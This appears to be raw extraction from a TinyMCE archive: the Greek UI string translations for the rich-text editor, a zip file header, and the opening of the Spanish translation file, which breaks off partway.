\u03c0\u03bb\u03b7\u03ba\u03c4\u03c1\u03bf\u03bb\u03bf\u03b3\u03af\u03bf\u03c5
Ctrl+X\/C\/V.",
"Div": "Div",
"Paste":
"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7",
"Close":
"\u039a\u03bb\u03b5\u03af\u03c3\u03b9\u03bc\u03bf",
"Font Family":
"\u0393\u03c1\u03b1\u03bc\u03bc\u03b1\u03c4\u03bf\u03c3\u03b5\u03b9\u03c1\u03ac",
"Pre": "Pre",
"Align right":
"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7
\u03b4\u03b5\u03be\u03b9\u03ac",
"New document": "\u039d\u03ad\u03bf
\u03ad\u03b3\u03b3\u03c1\u03b1\u03c6\u03bf",
"Blockquote": "\u03a0\u03b5\u03c1\u03b9\u03bf\u03c7\u03ae
\u03c0\u03b1\u03c1\u03ac\u03b8\u03b5\u03c3\u03b7\u03c2",
"Numbered list":
"\u0391\u03c1\u03b9\u03b8\u03bc\u03b7\u03bc\u03ad\u03bd\u03b7
\u03bb\u03af\u03c3\u03c4\u03b1",
"Increase indent": "\u0391\u03cd\u03be\u03b7\u03c3\u03b7
\u03b5\u03c3\u03bf\u03c7\u03ae\u03c2",
"Formats":
"\u039c\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",
"Headers":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b5\u03c2",
"Select all": "\u0395\u03c0\u03b9\u03bb\u03bf\u03b3\u03ae
\u03cc\u03bb\u03c9\u03bd",
"Header 3":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 3",
"Blocks": "\u03a4\u03bc\u03ae\u03bc\u03b1\u03c4\u03b1",
"Undo":
"\u0391\u03bd\u03b1\u03af\u03c1\u03b5\u03c3\u03b7",
"Strikethrough":
"\u0394\u03b9\u03b1\u03ba\u03c1\u03b9\u03c4\u03ae
\u03b4\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae",
"Bullet list": "\u039b\u03af\u03c3\u03c4\u03b1 \u03bc\u03b5
\u03ba\u03bf\u03c5\u03ba\u03ba\u03af\u03b4\u03b5\u03c2",
"Header 1":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 1",
"Superscript":
"\u0395\u03ba\u03b8\u03ad\u03c4\u03b7\u03c2",
"Clear formatting":
"\u0391\u03c0\u03b1\u03bb\u03bf\u03b9\u03c6\u03ae
\u03bc\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7\u03c2",
"Font Sizes":
"\u039c\u03ad\u03b3\u03b5\u03b8\u03bf\u03c2",
"Subscript":
"\u0394\u03b5\u03af\u03ba\u03c4\u03b7\u03c2",
"Header 6":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 6",
"Redo":
"\u0395\u03c0\u03b1\u03bd\u03ac\u03bb\u03b7\u03c8\u03b7",
"Paragraph":
"\u03a0\u03b1\u03c1\u03ac\u03b3\u03c1\u03b1\u03c6\u03bf\u03c2",
"Ok": "\u0395\u03bd\u03c4\u03ac\u03be\u03b5\u03b9",
"Bold": "\u0388\u03bd\u03c4\u03bf\u03bd\u03b7",
"Code": "\u039a\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2",
"Italic": "\u03a0\u03bb\u03ac\u03b3\u03b9\u03b1",
"Align center":
"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7 \u03c3\u03c4\u03bf
\u03ba\u03ad\u03bd\u03c4\u03c1\u03bf",
"Header 5":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 5",
"Decrease indent": "\u039c\u03b5\u03af\u03c9\u03c3\u03b7
\u03b5\u03c3\u03bf\u03c7\u03ae\u03c2",
"Header 4":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1 4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.": "\u0397
\u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7
\u03b5\u03af\u03bd\u03b1\u03b9 \u03c4\u03ce\u03c1\u03b1 \u03c3\u03b5
\u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1
\u03b1\u03c0\u03bb\u03bf\u03cd
\u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5. \u03a4\u03b1
\u03c0\u03b5\u03c1\u03b9\u03b5\u03c7\u03cc\u03bc\u03b5\u03bd\u03b1
\u03bc\u03b9\u03b1\u03c2
\u03b5\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7\u03c2
\u03b8\u03b1
\u03b5\u03c0\u03b9\u03ba\u03bf\u03bb\u03bb\u03bf\u03cd\u03bd\u03c4\u03b1\u03b9
\u03c9\u03c2 \u03b1\u03c0\u03bb\u03cc
\u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03cc\u03c3\u03bf \u03b7
\u03bb\u03b5\u03b9\u03c4\u03bf\u03c5\u03c1\u03b3\u03af\u03b1
\u03b1\u03c5\u03c4\u03ae
\u03c0\u03b1\u03c1\u03b1\u03bc\u03ad\u03bd\u03b5\u03b9
\u03b5\u03bd\u03b5\u03c1\u03b3\u03ae.",
"Underline":
"\u03a5\u03c0\u03bf\u03b3\u03c1\u03ac\u03bc\u03bc\u03b9\u03c3\u03b7",
"Cancel": "\u0391\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7",
"Justify": "\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2
\u03c3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"Inline":
"\u0395\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03b7",
"Copy":
"\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae",
"Align left":
"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7
\u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Visual aids": "O\u03c0\u03c4\u03b9\u03ba\u03ac
\u03b2\u03bf\u03b7\u03b8\u03ae\u03bc\u03b1\u03c4\u03b1 ",
"Lower Greek": "\u03a0\u03b5\u03b6\u03ac
\u03b5\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac",
"Square":
"\u03a4\u03b5\u03c4\u03c1\u03ac\u03b3\u03c9\u03bd\u03bf",
"Default":
"\u03a0\u03c1\u03bf\u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf",
"Lower Alpha": "\u03a0\u03b5\u03b6\u03ac
\u03bb\u03b1\u03c4\u03b9\u03bd\u03b9\u03ba\u03ac",
"Circle": "\u039a\u03cd\u03ba\u03bb\u03bf\u03c2",
"Disc": "\u0394\u03af\u03c3\u03ba\u03bf\u03c2",
"Upper Alpha":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1
\u03bb\u03b1\u03c4\u03b9\u03bd\u03b9\u03ba\u03ac",
"Upper Roman":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03b1
\u03c1\u03c9\u03bc\u03b1\u03ca\u03ba\u03ac",
"Lower Roman": "\u03a0\u03b5\u03b6\u03ac
\u03c1\u03c9\u03bc\u03b1\u03ca\u03ba\u03ac",
"Name": "\u038c\u03bd\u03bf\u03bc\u03b1",
"Anchor":
"\u0391\u03b3\u03ba\u03cd\u03c1\u03c9\u03c3\u03b7",
"You have unsaved changes are you sure you want to navigate
away?": "\u0388\u03c7\u03b5\u03c4\u03b5 \u03bc\u03b7
\u03b1\u03c0\u03bf\u03b8\u03b7\u03ba\u03b5\u03c5\u03bc\u03ad\u03bd\u03b5\u03c2
\u03b1\u03bb\u03bb\u03b1\u03b3\u03ad\u03c2. \u0395\u03af\u03c3\u03c4\u03b5
\u03b2\u03ad\u03b2\u03b1\u03b9\u03bf\u03b9 \u03cc\u03c4\u03b9
\u03b8\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1
\u03c6\u03cd\u03b3\u03b5\u03c4\u03b5 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd
\u03c3\u03b5\u03bb\u03af\u03b4\u03b1;",
"Restore last draft":
"\u0395\u03c0\u03b1\u03bd\u03b1\u03c6\u03bf\u03c1\u03ac
\u03c4\u03b5\u03bb\u03b5\u03c5\u03c4\u03b1\u03af\u03bf\u03c5
\u03c3\u03c7\u03b5\u03b4\u03af\u03bf\u03c5",
"Special character":
"\u0395\u03b9\u03b4\u03b9\u03ba\u03cc\u03c2
\u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03b1\u03c2",
"Source code": "\u03a0\u03b7\u03b3\u03b1\u03af\u03bf\u03c2
\u03ba\u03ce\u03b4\u03b9\u03ba\u03b1\u03c2",
"Right to left": "\u0391\u03c0\u03cc
\u03b4\u03b5\u03be\u03b9\u03ac \u03c0\u03c1\u03bf\u03c2 \u03c4\u03b1
\u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Left to right": "\u0391\u03c0\u03cc
\u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac \u03c0\u03c1\u03bf\u03c2
\u03c4\u03b1 \u03b4\u03b5\u03be\u03b9\u03ac",
"Emoticons":
"\u03a6\u03b1\u03c4\u03c3\u03bf\u03cd\u03bb\u03b5\u03c2",
"Robots": "\u03a1\u03bf\u03bc\u03c0\u03cc\u03c4",
"Document properties":
"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2
\u03b5\u03b3\u03b3\u03c1\u03ac\u03c6\u03bf\u03c5",
"Title": "\u03a4\u03af\u03c4\u03bb\u03bf\u03c2",
"Keywords": "\u039b\u03ad\u03be\u03b5\u03b9\u03c2
\u03ba\u03bb\u03b5\u03b9\u03b4\u03b9\u03ac",
"Encoding":
"\u039a\u03c9\u03b4\u03b9\u03ba\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7",
"Description":
"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae",
"Author":
"\u03a3\u03c5\u03bd\u03c4\u03ac\u03ba\u03c4\u03b7\u03c2",
"Fullscreen": "\u03a0\u03bb\u03ae\u03c1\u03b7\u03c2
\u03bf\u03b8\u03cc\u03bd\u03b7",
"Horizontal line":
"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03b1
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae",
"Horizontal space":
"\u039f\u03c1\u03b9\u03b6\u03cc\u03bd\u03c4\u03b9\u03bf
\u03b4\u03b9\u03ac\u03c3\u03c4\u03b7\u03bc\u03b1",
"Insert\/edit image":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1
\u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"General": "\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",
"Advanced": "\u0393\u03b9\u03b1
\u03a0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2",
"Source": "\u03a0\u03b7\u03b3\u03ae",
"Border": "\u03a0\u03bb\u03b1\u03af\u03c3\u03b9\u03bf",
"Constrain proportions":
"\u03a0\u03b5\u03c1\u03b9\u03bf\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2
\u03b1\u03bd\u03b1\u03bb\u03bf\u03b3\u03b9\u03ce\u03bd",
"Vertical space": "\u039a\u03ac\u03b8\u03b5\u03c4\u03bf
\u03b4\u03b9\u03ac\u03c3\u03c4\u03b7\u03bc\u03b1",
"Image description":
"\u03a0\u03b5\u03c1\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae
\u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Style":
"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7",
"Dimensions":
"\u0394\u03b9\u03b1\u03c3\u03c4\u03ac\u03c3\u03b5\u03b9\u03c2",
"Insert image":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03b5\u03b9\u03ba\u03cc\u03bd\u03b1\u03c2",
"Insert date\/time":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03b7\u03bc\u03b5\u03c1\u03bf\u03bc\u03b7\u03bd\u03af\u03b1\u03c2\/\u03ce\u03c1\u03b1\u03c2",
"Remove link":
"\u0391\u03c6\u03b1\u03af\u03c1\u03b5\u03c3\u03b7
\u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",
"Url": "URL",
"Text to display":
"\u039a\u03b5\u03af\u03bc\u03b5\u03bd\u03bf \u03b3\u03b9\u03b1
\u03b5\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7",
"Anchors":
"\u0386\u03b3\u03ba\u03c5\u03c1\u03b5\u03c2",
"Insert link":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",
"New window": "\u039d\u03ad\u03bf
\u03c0\u03b1\u03c1\u03ac\u03b8\u03c5\u03c1\u03bf",
"None": "\u039a\u03b1\u03bc\u03af\u03b1",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "\u0397
\u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 URL
\u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03c7\u03b8\u03b7\u03ba\u03b5
\u03c0\u03b9\u03b8\u03b1\u03bd\u03ce\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9
\u03b5\u03be\u03c9\u03c4\u03b5\u03c1\u03b9\u03ba\u03cc\u03c2
\u03c3\u03cd\u03bd\u03b4\u03b5\u03c3\u03bc\u03bf\u03c2.
\u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1
\u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03c4\u03b5 \u03c4\u03bf
\u03b1\u03c0\u03b1\u03b9\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf
\u03c0\u03c1\u03cc\u03b8\u03b7\u03bc\u03b1 http:\/\/;",
"Target":
"\u03a0\u03c1\u03bf\u03bf\u03c1\u03b9\u03c3\u03bc\u03cc\u03c2",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "\u0397
\u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 URL
\u03c0\u03bf\u03c5 \u03b5\u03b9\u03c3\u03ac\u03c7\u03b8\u03b7\u03ba\u03b5
\u03c0\u03b9\u03b8\u03b1\u03bd\u03ce\u03c2 \u03b5\u03af\u03bd\u03b1\u03b9
\u03b4\u03b9\u03b5\u03cd\u03b8\u03c5\u03bd\u03c3\u03b7 email.
\u0398\u03ad\u03bb\u03b5\u03c4\u03b5 \u03bd\u03b1
\u03c0\u03c1\u03bf\u03c3\u03b8\u03ad\u03c3\u03b5\u03c4\u03b5 \u03c4\u03bf
\u03b1\u03c0\u03b1\u03b9\u03c4\u03bf\u03cd\u03bc\u03b5\u03bd\u03bf
\u03c0\u03c1\u03cc\u03b8\u03b7\u03bc\u03b1 mailto:;",
"Insert\/edit link":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1
\u03c3\u03c5\u03bd\u03b4\u03ad\u03c3\u03bc\u03bf\u03c5",
"Insert\/edit video":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae\/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1
\u03b2\u03af\u03bd\u03c4\u03b5\u03bf",
"Poster": "\u0391\u03c6\u03af\u03c3\u03b1",
"Alternative source":
"\u0395\u03bd\u03b1\u03bb\u03bb\u03b1\u03ba\u03c4\u03b9\u03ba\u03ae
\u03c0\u03c1\u03bf\u03ad\u03bb\u03b5\u03c5\u03c3\u03b7",
"Paste your embed code below:":
"\u0395\u03b9\u03c3\u03ac\u03b3\u03b5\u03c4\u03b5 \u03c4\u03bf\u03bd
\u03b5\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03bf
\u03ba\u03ce\u03b4\u03b9\u03ba\u03b1
\u03c0\u03b1\u03c1\u03b1\u03ba\u03ac\u03c4\u03c9:",
"Insert video":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03b2\u03af\u03bd\u03c4\u03b5\u03bf",
"Embed":
"\u0395\u03bd\u03c3\u03c9\u03bc\u03ac\u03c4\u03c9\u03c3\u03b7",
"Nonbreaking space": "\u039a\u03b5\u03bd\u03cc
\u03c7\u03c9\u03c1\u03af\u03c2
\u03b4\u03b9\u03b1\u03ba\u03bf\u03c0\u03ae",
"Page break": "\u0391\u03bb\u03bb\u03b1\u03b3\u03ae
\u03c3\u03b5\u03bb\u03af\u03b4\u03b1\u03c2",
"Paste as text":
"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7
\u03c9\u03c2 \u03ba\u03b5\u03af\u03bc\u03b5\u03bd\u03bf",
"Preview":
"\u03a0\u03c1\u03bf\u03b5\u03c0\u03b9\u03c3\u03ba\u03cc\u03c0\u03b7\u03c3\u03b7",
"Print":
"\u0395\u03ba\u03c4\u03cd\u03c0\u03c9\u03c3\u03b7",
"Save":
"\u0391\u03c0\u03bf\u03b8\u03ae\u03ba\u03b5\u03c5\u03c3\u03b7",
"Could not find the specified string.": "\u0394\u03b5\u03bd
\u03ae\u03c4\u03b1\u03bd \u03b4\u03c5\u03bd\u03b1\u03c4\u03ae \u03b7
\u03b5\u03cd\u03c1\u03b5\u03c3\u03b7 \u03c4\u03bf\u03c5
\u03ba\u03b1\u03b8\u03bf\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf\u03c5
\u03b1\u03bb\u03c6\u03b1\u03c1\u03b9\u03b8\u03bc\u03b7\u03c4\u03b9\u03ba\u03bf\u03cd.",
"Replace":
"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7",
"Next": "\u0395\u03c0\u03cc\u03bc.",
"Whole words":
"\u039f\u03bb\u03cc\u03ba\u03bb\u03b7\u03c1\u03b5\u03c2
\u03bb\u03ad\u03be\u03b5\u03b9\u03c2",
"Find and replace": "\u0395\u03cd\u03c1\u03b5\u03c3\u03b7
\u03ba\u03b1\u03b9
\u03b1\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7",
"Replace with":
"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7
\u03bc\u03b5",
"Find": "\u0395\u03cd\u03c1\u03b5\u03c3\u03b7",
"Replace all":
"\u0391\u03bd\u03c4\u03b9\u03ba\u03b1\u03c4\u03ac\u03c3\u03c4\u03b1\u03c3\u03b7
\u03cc\u03bb\u03c9\u03bd",
"Match case":
"\u03a4\u03b1\u03af\u03c1\u03b9\u03b1\u03c3\u03bc\u03b1
\u03c0\u03b5\u03b6\u03ce\u03bd\/\u03ba\u03b5\u03c6\u03b1\u03bb\u03b1\u03af\u03c9\u03bd",
"Prev": "\u03a0\u03c1\u03bf\u03b7\u03b3.",
"Spellcheck":
"\u039f\u03c1\u03b8\u03bf\u03b3\u03c1\u03b1\u03c6\u03b9\u03ba\u03cc\u03c2
\u03ad\u03bb\u03b5\u03b3\u03c7\u03bf\u03c2 ",
"Finish": "\u03a4\u03ad\u03bb\u03bf\u03c2",
"Ignore all":
"\u03a0\u03b1\u03c1\u03ac\u03b2\u03bb\u03b5\u03c8\u03b7
\u03cc\u03bb\u03c9\u03bd",
"Ignore":
"\u03a0\u03b1\u03c1\u03ac\u03b2\u03bb\u03b5\u03c8\u03b7",
"Insert row before":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2
\u03b5\u03c0\u03ac\u03bd\u03c9",
"Rows": "\u0393\u03c1\u03b1\u03bc\u03bc\u03ad\u03c2",
"Height": "\u038e\u03c8\u03bf\u03c2",
"Paste row after":
"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03ba\u03ac\u03c4\u03c9",
"Alignment":
"\u03a3\u03c4\u03bf\u03af\u03c7\u03b9\u03c3\u03b7",
"Column group": "\u039f\u03bc\u03ac\u03b4\u03b1
\u03c3\u03c4\u03b7\u03bb\u03ce\u03bd",
"Row": "\u0393\u03c1\u03b1\u03bc\u03bc\u03ae",
"Insert column before":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03c3\u03c4\u03ae\u03bb\u03b7\u03c2
\u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Split cell":
"\u0394\u03b9\u03b1\u03af\u03c1\u03b5\u03c3\u03b7
\u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",
"Cell padding":
"\u0391\u03bd\u03b1\u03c0\u03bb\u03ae\u03c1\u03c9\u03c3\u03b7
\u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",
"Cell spacing":
"\u0391\u03c0\u03cc\u03c3\u03c4\u03b1\u03c3\u03b7
\u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",
"Row type": "\u03a4\u03cd\u03c0\u03bf\u03c2
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Insert table":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03c0\u03af\u03bd\u03b1\u03ba\u03b1",
"Body": "\u03a3\u03ce\u03bc\u03b1",
"Caption":
"\u039b\u03b5\u03b6\u03ac\u03bd\u03c4\u03b1",
"Footer":
"\u03a5\u03c0\u03bf\u03c3\u03ad\u03bb\u03b9\u03b4\u03bf",
"Delete row":
"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Paste row before":
"\u0395\u03c0\u03b9\u03ba\u03cc\u03bb\u03bb\u03b7\u03c3\u03b7
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2
\u03b5\u03c0\u03ac\u03bd\u03c9",
"Scope": "\u0388\u03ba\u03c4\u03b1\u03c3\u03b7",
"Delete table":
"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae
\u03c0\u03af\u03bd\u03b1\u03ba\u03b1",
"Header cell":
"\u039a\u03b5\u03bb\u03af-\u03ba\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1",
"Column": "\u03a3\u03c4\u03ae\u03bb\u03b7",
"Cell": "\u039a\u03b5\u03bb\u03af",
"Header":
"\u039a\u03b5\u03c6\u03b1\u03bb\u03af\u03b4\u03b1",
"Cell type": "\u03a4\u03cd\u03c0\u03bf\u03c2
\u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",
"Copy row":
"\u0391\u03bd\u03c4\u03b9\u03b3\u03c1\u03b1\u03c6\u03ae
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Row properties":
"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Table properties":
"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2
\u03c0\u03af\u03bd\u03b1\u03ba\u03b1",
"Row group": "\u039f\u03bc\u03ac\u03b4\u03b1
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ce\u03bd",
"Right": "\u0394\u03b5\u03be\u03b9\u03ac",
"Insert column after":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03c3\u03c4\u03ae\u03bb\u03b7\u03c2 \u03b4\u03b5\u03be\u03b9\u03ac",
"Cols": "\u03a3\u03c4\u03ae\u03bb\u03b5\u03c2",
"Insert row after":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2 \u03ba\u03ac\u03c4\u03c9",
"Width": "\u03a0\u03bb\u03ac\u03c4\u03bf\u03c2",
"Cell properties":
"\u0399\u03b4\u03b9\u03cc\u03c4\u03b7\u03c4\u03b5\u03c2
\u03ba\u03b5\u03bb\u03b9\u03bf\u03cd",
"Left":
"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac",
"Cut row": "\u0391\u03c0\u03bf\u03ba\u03bf\u03c0\u03ae
\u03b3\u03c1\u03b1\u03bc\u03bc\u03ae\u03c2",
"Delete column":
"\u0394\u03b9\u03b1\u03b3\u03c1\u03b1\u03c6\u03ae
\u03c3\u03c4\u03ae\u03bb\u03b7\u03c2",
"Center":
"\u039a\u03b5\u03bd\u03c4\u03c1\u03b1\u03c1\u03b9\u03c3\u03bc\u03ad\u03bd\u03b7",
"Merge cells":
"\u03a3\u03c5\u03b3\u03c7\u03ce\u03bd\u03b5\u03c5\u03c3\u03b7
\u03ba\u03b5\u03bb\u03b9\u03ce\u03bd",
"Insert template":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae
\u03c0\u03c1\u03bf\u03c4\u03cd\u03c0\u03bf\u03c5 ",
"Templates":
"\u03a0\u03c1\u03cc\u03c4\u03c5\u03c0\u03b1",
"Background color": "\u03a7\u03c1\u03ce\u03bc\u03b1
\u03c6\u03cc\u03bd\u03c4\u03bf\u03c5",
"Text color": "\u03a7\u03c1\u03ce\u03bc\u03b1
\u03ba\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5 ",
"Show blocks":
"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7
\u03c4\u03bc\u03b7\u03bc\u03ac\u03c4\u03c9\u03bd",
"Show invisible characters":
"\u0395\u03bc\u03c6\u03ac\u03bd\u03b9\u03c3\u03b7
\u03ba\u03c1\u03c5\u03c6\u03ce\u03bd
\u03c7\u03b1\u03c1\u03b1\u03ba\u03c4\u03ae\u03c1\u03c9\u03bd",
"Words: {0}": "\u039b\u03ad\u03be\u03b5\u03b9\u03c2:
{0}",
"Insert":
"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae",
"File": "\u0391\u03c1\u03c7\u03b5\u03af\u03bf",
"Edit":
"\u0395\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":
"\u03a0\u03b5\u03c1\u03b9\u03bf\u03c7\u03ae
\u0395\u03bc\u03c0\u03bb\u03bf\u03c5\u03c4\u03b9\u03c3\u03bc\u03ad\u03bd\u03bf
\u039a\u03b5\u03b9\u03bc\u03ad\u03bd\u03bf\u03c5.
\u03a0\u03b1\u03c4\u03ae\u03c3\u03c4\u03b5 ALT-F9 \u03b3\u03b9\u03b1
\u03c4\u03bf \u03bc\u03b5\u03bd\u03bf\u03cd.
\u03a0\u03b1\u03c4\u03ae\u03c3\u03c4\u03b5 ALT-F10 \u03b3\u03b9\u03b1 
\u03c4\u03b7 \u03b3\u03c1\u03b1\u03bc\u03bc\u03ae
\u03b5\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03c9\u03bd.
\u03a0\u03b1\u03c4\u03ae\u03c3\u03c4\u03b5 ALT-0 \u03b3\u03b9\u03b1
\u03b2\u03bf\u03ae\u03b8\u03b5\u03b9\u03b1",
"Tools":
"\u0395\u03c1\u03b3\u03b1\u03bb\u03b5\u03af\u03b1",
"View": "\u03a0\u03c1\u03bf\u03b2\u03bf\u03bb\u03ae",
"Table": "\u03a0\u03af\u03bd\u03b1\u03ba\u03b1\u03c2",
"Format":
"\u039c\u03bf\u03c1\u03c6\u03bf\u03c0\u03bf\u03af\u03b7\u03c3\u03b7"
});PKR��[m����tinymce/langs/es.jsnu�[���tinymce.addI18n('es',{
"Cut": "Cortar",
"Header 2": "Encabezado 2 ",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.": "Tu
navegador no soporta acceso directo al portapapeles. Por favor usa las
teclas Crtl+X\/C\/V de tu teclado",
"Div": "Capa",
"Paste": "Pegar",
"Close": "Cerrar",
"Font Family": "Familia de fuentes",
"Pre": "Pre",
"Align right": "Alinear a la derecha",
"New document": "Nuevo documento",
"Blockquote": "Bloque de cita",
"Numbered list": "Lista numerada",
"Increase indent": "Incrementar sangr\u00eda",
"Formats": "Formatos",
"Headers": "Encabezado",
"Select all": "Seleccionar todo",
"Header 3": "Encabezado 3",
"Blocks": "Bloques",
"Undo": "Deshacer",
